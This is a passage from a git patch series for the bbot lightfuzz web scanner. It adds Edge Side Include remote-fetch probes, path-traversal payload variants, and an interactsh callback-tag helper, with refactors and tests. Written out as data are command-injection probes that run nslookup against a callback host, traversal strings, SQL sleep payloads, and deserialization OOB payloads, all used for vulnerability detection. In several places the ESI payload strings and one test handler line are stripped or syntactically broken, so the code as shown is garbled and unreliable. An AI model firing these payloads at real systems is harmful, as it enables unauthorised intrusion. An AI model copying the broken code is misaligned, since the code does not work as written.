technique (which can happen cosmetically without real processing). Both techniques run independently: - Tag-strip (original, MEDIUM HIGH-confidence) - Remote-include OOB (new, CRITICAL CONFIRMED when interactsh enabled) Out-of-scope safety: the interactsh URL is out-of-scope by host, so even if the target reflects the include tag back verbatim, bbot's http module won't self-fetch the OOB URL (same safety mechanism the ssrf submodule relies on). Test: save-point with a mock that simulates an ESI edge fetching include src URLs. Parses the query string correctly at only the first `=` so the payload's internal `src=` doesn't truncate the value mid-read — a common gotcha for handler-style mocks. --- bbot/modules/lightfuzz/submodules/esi.py | 48 +++++++++++-- .../module_tests/test_module_lightfuzz.py | 71 +++++++++++++++++++ 2 files changed, 114 insertions(+), 5 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index cfb786187c..288f528695 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -5,13 +5,25 @@ class esi(BaseLightfuzz): """ Detects Edge Side Includes (ESI) processing vulnerabilities. - Tests if the server processes ESI tags by sending a payload containing ESI tags - and checking if the tags are processed (removed) in the response. + Two complementary techniques that run independently: + + * Tag-strip Detection (original): + - Sends `AABBCC` and checks if `` + was stripped. Proves the edge processes ESI comment tags. + MEDIUM severity, HIGH confidence. + + * Remote-Include OOB Confirmation (new): + - Sends ``. If the edge + actually FETCHES the include, interactsh observes the callback + and emits a CRITICAL CONFIRMED finding. Stronger than tag- + stripping: tag-stripping can happen cosmetically; a remote + fetch proves real processing with exploitable side effects. """ # Technique lifted from https://github.com/PortSwigger/active-scan-plus-plus friendly_name = "Edge Side Includes" + uses_interactsh = True async def check_probe(self, cookies, probe, match): """ @@ -37,9 +49,35 @@ async def fuzz(self): """ cookies = self.event.data.get("assigned_cookies", {}) - # ESI test payload: if ESI is processed, will be removed - # leaving AABBCC in the response + # Tag-strip detection (original technique). If ESI is processed, + # gets removed, leaving AABBCC in the response. payload = "AABBCC" detection_string = "AABBCC" - await self.check_probe(cookies, payload, detection_string) + + # Remote-include OOB confirmation (new). Runs alongside the + # tag-strip probe — they detect distinct signals and both can + # fire on the same parameter. bbot's scope model prevents the + # interactsh URL from being self-fetched if it gets reflected + # into the response body (out-of-scope host, not fetched). + if self.lightfuzz.interactsh_instance: + subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + interactsh_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + "event": self.event, + "name": "Edge Side Include Remote Fetch", + "description": ( + f"Edge Side Include Remote Fetch (OOB Interaction) " + f"Parameter: [{self.event.data['name']}] " + f"Parameter Type: [{self.event.data['type']}]{self.conversion_note()}" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + include_payload = f'' + await self.standard_probe( + self.event.data["type"], + cookies, + include_payload, + timeout=15, + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 5136662e85..013dd14a0b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -3014,6 +3014,77 @@ def check(self, module_test, events): assert esi_finding_emitted, "ESI FINDING not emitted" +# ESI remote-include OOB — verifies the new `` probe triggers +# an interactsh callback when the edge actually fetches the include URL, +# producing a CRITICAL CONFIRMED finding separate from the tag-strip one. +class Test_Lightfuzz_esi_interactsh(Test_Lightfuzz_esi): + config_overrides = { + "interactsh_disable": False, + "modules": { + "lightfuzz": {"enabled_submodules": ["esi"]}, + }, + } + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") + + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + def request_handler(self, request): + import re as _re + + qs = str(request.query_string.decode()) + # Parameter block must include the search form so excavate can + # extract the `search` GETPARAM on the initial fetch; otherwise + # esi only fuzzes the HEADER test param and the include probe + # never reaches us. + parameter_block = """ + + """ + if "search=" in qs: + # Split only at the FIRST `=` — the include payload's `src=` + # embeds unencoded `=` characters that would otherwise + # truncate the value. + value = qs.split("=", 1)[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Simulate an edge that fetches esi:include src URLs. Extract + # the interactsh subdomain from within an include payload and + # fire a mock interaction to prove the OOB detection path. + if "search: '{decoded}'", status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + remote_include_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Edge Side Include Remote Fetch (OOB Interaction)" in desc + and "Parameter: [search]" in desc + ): + remote_include_finding = True + assert remote_include_finding, "ESI remote-include OOB FINDING not emitted" + + # Envelope state isolation: crypto error detection with all submodules enabled. # Crypto runs after sqli/cmdi/xss/path/ssti. Each prior submodule calls outgoing_probe_value() # which must not corrupt the envelope state that crypto reads via incoming_probe_value(). From 766e70d5e44202b5f3576b758c0844d4686d3f11 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:40:47 -0400 Subject: [PATCH 24/50] Lightfuzz path: simple non-recursive-strip probes Add `...//X` / `....//X` probe variants without the `a/` dummy intermediate. Some servers (notably PortSwigger's lab-sequences-stripped-non-recursively) reject paths whose intermediate components don't exist, so the existing `...//a/....//X` probe fails on them. The simple variant's stripped form resolves directly against the base dir, catching the bypass cleanly. --- bbot/modules/lightfuzz/submodules/path.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index fcd67ff940..0b72a97b6e 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -77,6 +77,16 @@ async def fuzz(self): "singledot_payload": f"/...//a/....//{probe_value}", "doubledot_payload": f"/....//a/....//{probe_value}", }, + # Simple (no-`a/`-intermediate) variants for servers that + # reject paths whose intermediate components don't exist. + "single-dot traversal tolerance (non-recursive stripping, simple)": { + "singledot_payload": f"...//{probe_value}", + "doubledot_payload": f"....//{probe_value}", + }, + "single-dot traversal tolerance (non-recursive stripping, simple, leading slash)": { + "singledot_payload": f"/...//{probe_value}", + "doubledot_payload": f"/....//{probe_value}", + }, "single-dot traversal tolerance (double url-encoding)": { "singledot_payload": f".%252fa%252f..%252f{probe_value}", "doubledot_payload": f"..%252fa%252f..%252f{probe_value}", From 86cb59570d35c4fe1ff8e10a6a6e8641467d82ff Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 15:53:37 -0400 Subject: [PATCH 25/50] Lightfuzz path: simple double-URL-encoding probes Same pattern as the non-recursive-strip round: drop the `a/` dummy intermediate so strict path resolvers still see a valid file after the server's superfluous double-decode. Catches PortSwigger's lab-superfluous-url-decode. --- bbot/modules/lightfuzz/submodules/path.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 0b72a97b6e..dfd8f0153d 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -95,6 +95,15 @@ async def fuzz(self): "singledot_payload": f"%252f.%252fa%252f..%252f{probe_value}", "doubledot_payload": f"%252f..%252fa%252f..%252f{probe_value}", }, + # Simple (no-`a/`-intermediate) variants for strict path resolvers. + "single-dot traversal tolerance (double url-encoding, simple)": { + "singledot_payload": f".%252f{probe_value}", + "doubledot_payload": f"..%252f{probe_value}", + }, + "single-dot traversal tolerance (double url-encoding, simple, leading slash)": { + "singledot_payload": f"%252f.%252f{probe_value}", + "doubledot_payload": f"%252f..%252f{probe_value}", + }, } compiled_regex = self.lightfuzz.helpers.re.compile(r"/(?:[\w-]+/)*[\w-]+\.\w+") From 550ff1ff98017ad1f2e1192176b49ea264c16927 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 17:22:48 -0400 Subject: [PATCH 26/50] Lightfuzz: extract register_interactsh_tag helper MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Consolidates the interactsh subdomain-tag registration boilerplate (tag → FQDN → subdomain_tags dict entry) into a single BaseLightfuzz helper, replacing 5 duplicated blocks across ssrf, cmdi, esi, and serial (pickle + URLDNS). --- bbot/modules/lightfuzz/submodules/base.py | 25 ++++ bbot/modules/lightfuzz/submodules/cmdi.py | 28 ++-- bbot/modules/lightfuzz/submodules/esi.py | 17 +-- bbot/modules/lightfuzz/submodules/serial.py | 30 ++-- bbot/modules/lightfuzz/submodules/ssrf.py | 23 ++-- bbot/modules/lightfuzz/submodules/xss.py | 4 +- .../module_tests/test_module_lightfuzz.py | 128 +++++++----------- 7 files changed, 115 insertions(+), 140 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 92bea10c30..fce9dd9e17 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -20,6 +20,31 @@ def __init__(self, lightfuzz, event): self.results = [] self.parameter_name = self.event.data["name"] + def register_interactsh_tag( + self, *, name, description, severity, confidence, severity_dns=None, confidence_dns=None + ): + """Register a fresh interactsh subdomain tag and return `(tag, host)`. + + Caller incorporates ``host`` into its payload, then sends via + ``self.standard_probe`` (or equivalent). ``severity_dns`` and + ``confidence_dns`` optionally override the emitted finding's + severity/confidence when the observed interaction is DNS-only. + """ + tag = self.lightfuzz.helpers.rand_string(4, digits=False) + details = { + "event": self.event, + "name": name, + "description": description, + "severity": severity, + "confidence": confidence, + } + if severity_dns is not None: + details["severity_dns"] = severity_dns + if confidence_dns is not None: + details["confidence_dns"] = confidence_dns + self.lightfuzz.interactsh_subdomain_tags[tag] = details + return tag, f"{tag}.{self.lightfuzz.interactsh_domain}" + @staticmethod def is_hex(s): try: diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 3d4f18454c..7479c8734b 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -158,17 +158,13 @@ async def fuzz(self): if self.lightfuzz.interactsh_instance: self.lightfuzz.event_dict[self.event.url] = self.event # Store the event associated with the URL for p in cmdi_probe_strings: - # generate a random subdomain tag and associate it with the event, type, name, and probe - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "OS Command Injection", - "description": f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]", - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } - # payload is an nslookup command that includes the interactsh domain prepended the previously generated subdomain tag - interactsh_probe = f"{p} nslookup {subdomain_tag}.{self.lightfuzz.interactsh_domain} {p}" + _, host = self.register_interactsh_tag( + name="OS Command Injection", + description=f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]", + severity="CRITICAL", + confidence="CONFIRMED", + ) + interactsh_probe = f"{p} nslookup {host} {p}" # we have to handle our own URL-encoding here, because our payloads include the & character if self.event.data["type"] == "GETPARAM": interactsh_probe = urllib.parse.quote(interactsh_probe.encode(), safe="") @@ -198,13 +194,7 @@ async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim except HttpCompareError as e: self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") return False - matched = ( - probe[3] is not None - and expected in probe[3].text - and "echo" not in probe[3].text - ) + matched = probe[3] is not None and expected in probe[3].text and "echo" not in probe[3].text if matched: - self.debug( - f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]" - ) + self.debug(f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]") return matched diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index 288f528695..2e82bc4b74 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -61,20 +61,17 @@ async def fuzz(self): # interactsh URL from being self-fetched if it gets reflected # into the response body (out-of-scope host, not fetched). if self.lightfuzz.interactsh_instance: - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - interactsh_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "Edge Side Include Remote Fetch", - "description": ( + _, host = self.register_interactsh_tag( + name="Edge Side Include Remote Fetch", + description=( f"Edge Side Include Remote Fetch (OOB Interaction) " f"Parameter: [{self.event.data['name']}] " f"Parameter Type: [{self.event.data['type']}]{self.conversion_note()}" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } - include_payload = f'' + severity="CRITICAL", + confidence="CONFIRMED", + ) + include_payload = f'' await self.standard_probe( self.event.data["type"], cookies, diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 0d25467767..3b96a38b0c 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -377,18 +377,15 @@ def get_title(text): self.lightfuzz.event_dict[self.event.url] = self.event # Python pickle OOB - pkl_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - pkl_host = f"{pkl_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[pkl_tag] = { - "event": self.event, - "name": "Unsafe Deserialization", - "description": ( + _, pkl_host = self.register_interactsh_tag( + name="Unsafe Deserialization", + description=( f"Python pickle OOB RCE (OOB Interaction) Type: [{self.event.data['type']}] " f"Parameter Name: [{self.event.data['name']}] Payload: [python_pickle_oob]" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } + severity="CRITICAL", + confidence="CONFIRMED", + ) try: pkl_b64 = base64.b64encode(pickle.dumps(_PickleOOB(pkl_host))).decode() except Exception as e: @@ -403,18 +400,15 @@ def get_title(text): # Java URLDNS OOB — fires on ANY Java deserialization sink; # requires only java.util.HashMap + java.net.URL (stdlib). - java_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - java_host = f"{java_tag}.{self.lightfuzz.interactsh_domain}" - self.lightfuzz.interactsh_subdomain_tags[java_tag] = { - "event": self.event, - "name": "Unsafe Deserialization", - "description": ( + _, java_host = self.register_interactsh_tag( + name="Unsafe Deserialization", + description=( f"Java URLDNS OOB (OOB Interaction) Type: [{self.event.data['type']}] " f"Parameter Name: [{self.event.data['name']}] Payload: [java_urldns_oob]" ), - "severity": "CRITICAL", - "confidence": "CONFIRMED", - } + severity="CRITICAL", + confidence="CONFIRMED", + ) try: java_b64 = base64.b64encode(_build_java_urldns_payload(java_host)).decode() except Exception as e: diff --git a/bbot/modules/lightfuzz/submodules/ssrf.py b/bbot/modules/lightfuzz/submodules/ssrf.py index e2c927e489..498ab4b844 100644 --- a/bbot/modules/lightfuzz/submodules/ssrf.py +++ b/bbot/modules/lightfuzz/submodules/ssrf.py @@ -25,23 +25,18 @@ async def fuzz(self): prefixes = ["http://", "https://", ""] for prefix in prefixes: - subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) - interactsh_url = f"{prefix}{subdomain_tag}.{self.lightfuzz.interactsh_domain}" probe_label = prefix if prefix else "no scheme" - - self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { - "event": self.event, - "name": "Server-Side Request Forgery", - "description": f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]", - "severity": "HIGH", - "confidence": "CONFIRMED", - "severity_dns": "HIGH", - "confidence_dns": "MEDIUM", - } - + _, host = self.register_interactsh_tag( + name="Server-Side Request Forgery", + description=f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]", + severity="HIGH", + confidence="CONFIRMED", + severity_dns="HIGH", + confidence_dns="MEDIUM", + ) await self.standard_probe( self.event.data["type"], cookies, - interactsh_url, + f"{prefix}{host}", timeout=15, ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index b3f13e1fa2..1f1ac023b1 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -193,8 +193,8 @@ async def fuzz(self): if not reflection or reflection is False: return - between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick = ( - await self.determine_context(cookies, reflection_probe_result.text, random_string) + between_tags, attribute_quote, in_javascript, in_html_comment, in_js_backtick = await self.determine_context( + cookies, reflection_probe_result.text, random_string ) self.debug( f"determine_context returned: between_tags [{between_tags}], attribute_quote [{attribute_quote}], " diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 013dd14a0b..d05c9ef66a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -121,8 +121,7 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert simple_pathtraversal_finding_emitted, ( - "Simple single-dot path traversal FINDING not emitted — " - "strict-resolver detection regression." + "Simple single-dot path traversal FINDING not emitted — strict-resolver detection regression." ) @@ -357,8 +356,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -408,8 +407,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -456,8 +455,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -494,16 +493,14 @@ def request_handler(self, request): # leave `${`, `}`, and backtick alone. safe = decoded.replace("<", "").replace(">", "") return Response( - "", + f"", status=200, ) return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -810,8 +807,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -831,11 +828,7 @@ def check(self, module_test, events): if e.type == "FINDING": desc = e.data["description"] - if ( - "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" - in desc - and 'quoted)' in desc - ): + if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" in desc and "quoted)" in desc: xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" @@ -876,8 +869,8 @@ def request_handler(self, request): return Response(self.parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -990,8 +983,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1060,8 +1053,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1119,8 +1112,8 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (headers) class Test_Lightfuzz_sqli_headers(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1189,8 +1182,8 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (cookies) class Test_Lightfuzz_sqli_cookies(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1360,18 +1353,13 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": desc = e.data["description"] - if ( - "Possible Blind SQL Injection" in desc - and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc - ): + if "Possible Blind SQL Injection" in desc and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc: one_shot_delay_finding = True # Guard against regression of the missing-comma bug: Python string-literal # concatenation of adjacent list entries would produce a payload containing # both DBMS_LOCK.SLEEP and WAITFOR, which is never a valid single probe. - garbled = [ - p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p - ] + garbled = [p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p] assert not garbled, ( f"Garbled Oracle+MSSQL concatenated probe was sent ({len(garbled)} times): " f"{garbled[:1]}. This indicates the missing-comma bug has regressed." @@ -1379,8 +1367,7 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert one_shot_delay_finding, ( - "One-shot row-independent SLEEP finding not emitted — " - "row-independent blind sqli detection regression." + "One-shot row-independent SLEEP finding not emitted — row-independent blind sqli detection regression." ) @@ -1902,10 +1889,7 @@ def check(self, module_test, events): for e in events: if e.type == "FINDING": desc = e.data["description"] - if ( - "Python pickle OOB RCE (OOB Interaction)" in desc - and "Payload: [python_pickle_oob]" in desc - ): + if "Python pickle OOB RCE (OOB Interaction)" in desc and "Payload: [python_pickle_oob]" in desc: oob_finding = True assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" @@ -1940,10 +1924,7 @@ def check(self, module_test, events): for e in events: if e.type == "FINDING": desc = e.data["description"] - if ( - "Java URLDNS OOB (OOB Interaction)" in desc - and "Payload: [java_urldns_oob]" in desc - ): + if "Java URLDNS OOB (OOB Interaction)" in desc and "Payload: [java_urldns_oob]" in desc: urldns_finding = True assert urldns_finding, "Java URLDNS OOB interactsh FINDING not emitted" @@ -2081,9 +2062,7 @@ def check(self, module_test, events): ): windows_arith_finding = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert windows_arith_finding, ( - "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" - ) + assert windows_arith_finding, "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" # CMDi parser-error reflection: simulates a parser (SQL, JSON, YAML) that @@ -2351,8 +2330,8 @@ def request_handler(self, request): return Response(parameter_block, status=200, headers={"Content-Type": "application/json"}) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2409,8 +2388,8 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2456,8 +2435,8 @@ def request_handler(self, request): return Response(fp_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = ( - lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3063,9 +3042,7 @@ def request_handler(self, request): # the interactsh subdomain from within an include payload and # fire a mock interaction to prove the OOB detection path. if "placeholder", "status": 200} expect_args = {"method": "GET", "uri": "/"} From 18deb6cc5f1a93d631cb8f56149ddb0beebbbff1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 25 Apr 2026 15:52:44 -0400 Subject: [PATCH 27/50] Lightfuzz xss/path: tighten URL-scheme + singledot detectors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit xss URL-scheme injection: only fire when the match is preceded by a URL-bearing attribute assignment (href/src/action/formaction/...), not any quoted attribute. Fixes FP on `` etc. path single-dot tolerance: require the doubledot probe to be a 2xx fetch with body. A 4xx/5xx is the server *rejecting* `..` — the opposite of a vulnerability — and was previously flagged as positive signal. Updates existing path fixtures to model real TPs and adds negative regression tests for both detectors. --- bbot/modules/lightfuzz/submodules/path.py | 14 ++- bbot/modules/lightfuzz/submodules/xss.py | 39 ++++++ .../module_tests/test_module_lightfuzz.py | 111 ++++++++++++++++++ 3 files changed, 162 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index dfd8f0153d..b189bfa2b0 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -143,14 +143,24 @@ async def fuzz(self): # next, if doubledot_probe[0] is false, the response is different from the baseline. This further indicates that a real path is being manipulated # if doubledot_probe[3] is not None, the response is not empty. # if doubledot_probe[1] is not ["header"], the response is not JUST a header change. + # The doubledot response must look like a successful fetch of a different + # resource (2xx with body) — a 4xx/5xx is the server *rejecting* the `..`, + # which is the opposite of a vulnerability and was previously flagged because + # any non-baseline response satisfied `[0] is False`. # "The requested URL was rejected" is a very common WAF error message which appears on 200 OK response, confusing detections + doubledot_response = doubledot_probe[3] + doubledot_is_success = ( + doubledot_response is not None + and 200 <= doubledot_response.status_code < 300 + and bool(doubledot_response.text) + ) if ( singledot_probe[0] 